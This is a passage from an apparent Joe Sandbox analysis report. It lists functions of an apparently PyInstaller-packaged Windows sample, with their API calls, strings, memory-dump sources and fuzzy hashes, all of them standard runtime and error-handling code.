Instruction ID: 496f0574b170c3ee05a47b060994296b557076bf22040d951dd61f4e7a784b42
Opcode Fuzzy Hash: 2c88a21be5af21f56a68c86fdca39687fee9058fd376c6caa55945c458c4d180
Instruction Fuzzy Hash: 2821A3326197C192E720AB51B8417E6A794FB887C4F800231EEAD43699DF7CD645C790

Function 00007FF7FF59B1C0 Relevance: 10.6, APIs: 7, Instructions: 62COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FF7FF59B1CF
FlsGetValue.KERNEL32 ref: 00007FF7FF59B1E4
FlsSetValue.KERNEL32 ref: 00007FF7FF59B205
FlsSetValue.KERNEL32 ref: 00007FF7FF59B232
FlsSetValue.KERNEL32 ref: 00007FF7FF59B243
FlsSetValue.KERNEL32 ref: 00007FF7FF59B254
SetLastError.KERNEL32 ref: 00007FF7FF59B26F

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 95e941e89c228e9c604249a81e4247bf93b8921c3316e711f137cef7aac77c3c
Instruction ID: 784c47c2e81931832228ac7914824a95dcd60d85791ae149f28b2d624b9da380
Opcode Fuzzy Hash: 95e941e89c228e9c604249a81e4247bf93b8921c3316e711f137cef7aac77c3c
Instruction Fuzzy Hash: 50217C24E0D6CA92FB7C736156511FDE2829F447A0F948734D93E47AE6DE2CA40183E0

Function 00007FF7FF5A7DDC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00007FF7FF5A7E0D
GetLastError.KERNEL32 ref: 00007FF7FF5A7E19
CloseHandle.KERNEL32 ref: 00007FF7FF5A7E31
CreateFileW.KERNEL32 ref: 00007FF7FF5A7E5C
WriteConsoleW.KERNEL32 ref: 00007FF7FF5A7E7B

Strings

CONOUT$, xrefs: 00007FF7FF5A7E3D

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
Instruction ID: 314685293357904ecf1fac36fb6cc006a5f6e1658bc41e2d049bf9b4e829f8ba
Opcode Fuzzy Hash: 5493e4d9a44aaf731d1a805f3958d18bb0ed212be4b6a830fa2bcaabe5bc997c
Instruction Fuzzy Hash: 5C119331B18A8186E750AB56F854369A7A0FB88BE4F840334EA7D877E4DF3CD81487D0

Function 00007FF7FF588560 Relevance: 9.1, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00000000,00007FF7FF589216), ref: 00007FF7FF588592
K32EnumProcessModules.KERNEL32(?,?,00000000,00007FF7FF589216), ref: 00007FF7FF5885E9

Part of subcall function 00007FF7FF589400: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7FF5845E4,00000000,00007FF7FF581985), ref: 00007FF7FF589439

K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF7FF589216), ref: 00007FF7FF588678
K32GetModuleFileNameExW.KERNEL32(?,?,00000000,00007FF7FF589216), ref: 00007FF7FF5886E4
FreeLibrary.KERNEL32(?,?,00000000,00007FF7FF589216), ref: 00007FF7FF5886F5
FreeLibrary.KERNEL32(?,?,00000000,00007FF7FF589216), ref: 00007FF7FF58870A

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: FileFreeLibraryModuleNameProcess$ByteCharCurrentEnumModulesMultiWide
String ID:
API String ID: 3462794448-0
Opcode ID: b52d66e3f6483ee012b3a88bb9869cc1030523c4b2827b1d8d4a1b21ae680e9c
Instruction ID: dc71c123385a93be16f486061bf5243f00c909a177be6d40365a02fc510fd84e
Opcode Fuzzy Hash: b52d66e3f6483ee012b3a88bb9869cc1030523c4b2827b1d8d4a1b21ae680e9c
Instruction Fuzzy Hash: 3B41A462B196C241EB30BB12A5446EAA3A4FB84BC5F840235DF7D97BC5DE3CD501C7A4

Function 00007FF7FF59B338 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,?,00007FF7FF594F81,?,?,?,?,00007FF7FF59A4FA,?,?,?,?,00007FF7FF5971FF), ref: 00007FF7FF59B347
FlsSetValue.KERNEL32(?,?,?,00007FF7FF594F81,?,?,?,?,00007FF7FF59A4FA,?,?,?,?,00007FF7FF5971FF), ref: 00007FF7FF59B37D
FlsSetValue.KERNEL32(?,?,?,00007FF7FF594F81,?,?,?,?,00007FF7FF59A4FA,?,?,?,?,00007FF7FF5971FF), ref: 00007FF7FF59B3AA
FlsSetValue.KERNEL32(?,?,?,00007FF7FF594F81,?,?,?,?,00007FF7FF59A4FA,?,?,?,?,00007FF7FF5971FF), ref: 00007FF7FF59B3BB
FlsSetValue.KERNEL32(?,?,?,00007FF7FF594F81,?,?,?,?,00007FF7FF59A4FA,?,?,?,?,00007FF7FF5971FF), ref: 00007FF7FF59B3CC
SetLastError.KERNEL32(?,?,?,00007FF7FF594F81,?,?,?,?,00007FF7FF59A4FA,?,?,?,?,00007FF7FF5971FF), ref: 00007FF7FF59B3E7

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 6d8f3e74ebbb6b3e9df47af100808aa7e96d944c008937dd2b032c21f4d9a902
Instruction ID: 8a73e7bb8976d04809ad3fe8a4c7c1b5a068a81604ddb3850d1a07ef3e2e945e
Opcode Fuzzy Hash: 6d8f3e74ebbb6b3e9df47af100808aa7e96d944c008937dd2b032c21f4d9a902
Instruction Fuzzy Hash: E6116A24A0D6D692FB6CB32156811BDE2865F447A0FD48338E93E477EADE2CE50183A0

Function 00007FF7FF582910 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 86COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,?,?,?,00000000,00000000,?,00000000,00007FF7FF581B6A), ref: 00007FF7FF58295E

Strings

Error, xrefs: 00007FF7FF582A0E
Error [ANSI Fallback], xrefs: 00007FF7FF5829FF
%s: %s, xrefs: 00007FF7FF5829E8
[PYI-%d:ERROR] , xrefs: 00007FF7FF582966

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentProcess
String ID: %s: %s$Error$Error [ANSI Fallback]$[PYI-%d:ERROR]
API String ID: 2050909247-2962405886
Opcode ID: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
Instruction ID: 42dd674dd24792ac39509d55fb4ee60895bc35c055690b4fa890fb0b15b52b89
Opcode Fuzzy Hash: 9e805cce3db004805378da731f60641a61a9f8723a57293993104ba7ce00817f
Instruction Fuzzy Hash: D331F822B196C152EB20B761B8416E6A694BF887D4F800231EEBD83795EF7CD546C790

Function 00007FF7FF582390 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 81windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00007FF7FF5823C8
DialogBoxIndirectParamW.USER32 ref: 00007FF7FF58248E
DeleteObject.GDI32 ref: 00007FF7FF5824C1
DestroyIcon.USER32 ref: 00007FF7FF5824D3

Strings

Unhandled exception in script, xrefs: 00007FF7FF5823F8

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: DeleteDestroyDialogHandleIconIndirectModuleObjectParam
String ID: Unhandled exception in script
API String ID: 3081866767-2699770090
Opcode ID: 39c06ba8bf9b0b274a05e8f7e17acb9149a8f0f807fdaf6a00a55f32f6777a83
Instruction ID: e80e6ccd7687d2ee56b7cac09bab08abe4f8a49e2eae157f4c834f43a8af26d4
Opcode Fuzzy Hash: 39c06ba8bf9b0b274a05e8f7e17acb9149a8f0f807fdaf6a00a55f32f6777a83
Instruction Fuzzy Hash: 2D318672609AC289EB24EF61F8552F9A760FF89784F840235EA6D47B95DF3CD101C790

Function 00007FF7FF582B50 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,FFFFFFFF,00000000,00007FF7FF58918F,?,00007FF7FF583C55), ref: 00007FF7FF582BA0
MessageBoxW.USER32 ref: 00007FF7FF582C2A

Strings

Warning, xrefs: 00007FF7FF582C1D
[PYI-%d:%ls] , xrefs: 00007FF7FF582BA8
WARNING, xrefs: 00007FF7FF582BAF

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentMessageProcess
String ID: WARNING$Warning$[PYI-%d:%ls]
API String ID: 1672936522-3797743490
Opcode ID: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
Instruction ID: f4714e97318661e080f529a998005d688af2b1446776263923478a69a62d1afc
Opcode Fuzzy Hash: 9e6d9589c2ecbe46adae8e106eadd318faf54c8367477cb0129d25f7ec3a12f1
Instruction Fuzzy Hash: B021E562709B8192E710AB14F8447EAB7A4FB887C0F800232EEAD57795DF3CD215C790

Function 00007FF7FF582710 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 64COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,00000000,00000000,?,00000000,00007FF7FF581B99), ref: 00007FF7FF582760

Strings

Error, xrefs: 00007FF7FF5827DE
[PYI-%d:%s] , xrefs: 00007FF7FF582768
Error [ANSI Fallback], xrefs: 00007FF7FF5827CF
ERROR, xrefs: 00007FF7FF58276F

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentProcess
String ID: ERROR$Error$Error [ANSI Fallback]$[PYI-%d:%s]
API String ID: 2050909247-1591803126
Opcode ID: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
Instruction ID: 23891c94ccfbae8f1ee5ef28d63340dbc9028809e5bc62b8d3717c2ebc8fd39f
Opcode Fuzzy Hash: 16defea7d45dc340f891dcb1518e5bd63c50e449678e4b46de0281de23a8290b
Instruction Fuzzy Hash: 4F21A172A197C192EB20EB51B8817E6A7A4FB88384F800231EEAD53699DF7CD545C790

Function 00007FF7FF599AF8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00007FF7FF599B1D
GetProcAddress.KERNEL32 ref: 00007FF7FF599B33
FreeLibrary.KERNEL32 ref: 00007FF7FF599B5A

Strings

mscoree.dll, xrefs: 00007FF7FF599B14
CorExitProcess, xrefs: 00007FF7FF599B2C

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
Instruction ID: 4cbbaa73a43a3f4b39e91f011e3df131ced85e44cc30110a830a55516fbd4564
Opcode Fuzzy Hash: 644f40749f2397ccfee8900b191f86882f652c7814ccefc594fcc00cef1e1075
Instruction Fuzzy Hash: 2AF04F61A09B8691EB24AF24A4553BAA721AF45761F940335C67E471F4DF2CD05583E0

Function 00007FF7FF5A93D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00007FF7FF5A9400
_set_statfp.LIBCMT ref: 00007FF7FF5A941B
_set_statfp.LIBCMT ref: 00007FF7FF5A9437
_set_statfp.LIBCMT ref: 00007FF7FF5A9473

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction ID: 373582d56bc14f5b79f989221e51d831d5d5636bbf65fbbd04a4fb52ef9f3c97
Opcode Fuzzy Hash: bce21d2362216a5e504affcf34f2858e363de54600403cac3d1eeb36cb2ab404
Instruction Fuzzy Hash: 9F11BF62E4EEF701F7543924D4963F5A0447F58360F840734EBBE872D68E2CA861C1A0

Function 00007FF7FF59B400 Relevance: 7.6, APIs: 5, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00007FF7FF59A613,?,?,00000000,00007FF7FF59A8AE,?,?,?,?,?,00007FF7FF59A83A), ref: 00007FF7FF59B41F
FlsSetValue.KERNEL32(?,?,?,00007FF7FF59A613,?,?,00000000,00007FF7FF59A8AE,?,?,?,?,?,00007FF7FF59A83A), ref: 00007FF7FF59B43E
FlsSetValue.KERNEL32(?,?,?,00007FF7FF59A613,?,?,00000000,00007FF7FF59A8AE,?,?,?,?,?,00007FF7FF59A83A), ref: 00007FF7FF59B466
FlsSetValue.KERNEL32(?,?,?,00007FF7FF59A613,?,?,00000000,00007FF7FF59A8AE,?,?,?,?,?,00007FF7FF59A83A), ref: 00007FF7FF59B477
FlsSetValue.KERNEL32(?,?,?,00007FF7FF59A613,?,?,00000000,00007FF7FF59A8AE,?,?,?,?,?,00007FF7FF59A83A), ref: 00007FF7FF59B488

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 3cf0457813ef902b4d16e29671bd05b92734aec0d3ae5f0b4a86182189680110
Instruction ID: 21f75c244663fa12a2c73b7ceab3ba02b868ae5af6446711379f7e5035b369d9
Opcode Fuzzy Hash: 3cf0457813ef902b4d16e29671bd05b92734aec0d3ae5f0b4a86182189680110
Instruction Fuzzy Hash: 49114C20A0DAC642FB7CB72556511F9E2865F847B0FD88334E93E576E6DE2CE50293A0

Function 00007FF7FF59B294 Relevance: 7.6, APIs: 5, Instructions: 50COMMON

Download Yara Rule

APIs

FlsGetValue.KERNEL32 ref: 00007FF7FF59B2A5
FlsSetValue.KERNEL32 ref: 00007FF7FF59B2C4
FlsSetValue.KERNEL32 ref: 00007FF7FF59B2EC
FlsSetValue.KERNEL32 ref: 00007FF7FF59B2FD
FlsSetValue.KERNEL32 ref: 00007FF7FF59B30E

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 58ce09dd5263def6ec13d4cefdd98fc26a3f0444d111e578bd11d526dfe727f7
Instruction ID: 316882c0d52f0d42a96982b0d06deb3e468641e184b38baeaf343e5116f1fc3b
Opcode Fuzzy Hash: 58ce09dd5263def6ec13d4cefdd98fc26a3f0444d111e578bd11d526dfe727f7
Instruction Fuzzy Hash: 92112A24E0928B52FB7CB36544521FDA1858F46770FD88738D93E5B2E2DD2CB50142F1

Function 00007FF7FF596010 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF59604C
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF596176
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF59622C

Strings

verbose, xrefs: 00007FF7FF596020

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: verbose
API String ID: 3215553584-579935070
Opcode ID: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction ID: 50e1d1209a7165d453bee2a0231e885041ac78346e44468ad3a2f770e2c18d7e
Opcode Fuzzy Hash: 8c3a45f75ca5c0a3459ca2e96ae2fbbf181a3d63a640e770f0a7cf37c7606cec
Instruction Fuzzy Hash: C491B132A08A8685FB79AF24D4507BDB791AB40B94FC44336DA79473D5DF3CE40A83A1

Function 00007FF7FF59FC38 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 219COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF59FF17

Part of subcall function 00007FF7FF597AAC: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FF597AC9

Strings

ccs, xrefs: 00007FF7FF59FE52
UTF-8, xrefs: 00007FF7FF59FE96
UTF-16LEUNICODE, xrefs: 00007FF7FF59FEB5

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: UTF-16LEUNICODE$UTF-8$ccs
API String ID: 3215553584-1196891531
Opcode ID: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
Instruction ID: 099db035078488b178ef4e75341e2ff237f372823fdb75a7423a4ba6f501a310
Opcode Fuzzy Hash: 4ea7f6e1ba59c177a711b7ec70ee344f27d005a52efb2894dd87f7f788f8515e
Instruction Fuzzy Hash: 9881C432E0C2C286F7BC6F2581102F8B6E0AB51748FD99235DA39972C5DF2DE90183E1

Function 00007FF7FF58D6B8 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF7FF58D6E3
_IsNonwritableInCurrentImage.LIBCMT ref: 00007FF7FF58D77A
RtlUnwindEx.KERNEL32 ref: 00007FF7FF58D7D4

Strings

csm, xrefs: 00007FF7FF58D761

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

Associated: 00000000.00000002.1511442281.00007FF7FF580000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511499211.00007FF7FF5AB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5BE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511529578.00007FF7FF5C2000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1511584327.00007FF7FF5C4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7ff580000_YgJ5inWPQO.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm
API String ID: 2395640692-1018135373
Opcode ID: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
Instruction ID: d489551160167ab9b0a6567a1cfcfaaeeb678087ee9f8f5455c1602c2fa9376d
Opcode Fuzzy Hash: c7f5fdff7c0b40b6635b3f9850cf21a5be83d788788a684f503aa9329af71794
Instruction Fuzzy Hash: 1D51A232B196818ADB14AF15E044BB8A7D1FB44B98F914230DA7D877C8EF3CE845CB90

Function 00007FF7FF58EF48 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00007FF7FF58EFA7
_CallSETranslator.LIBVCRUNTIME ref: 00007FF7FF58EFF3

Strings

MOC, xrefs: 00007FF7FF58EFBB
RCC, xrefs: 00007FF7FF58EFC3

Memory Dump Source

Source File: 00000000.00000002.1511465811.00007FF7FF581000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7FF580000, based on PE: true

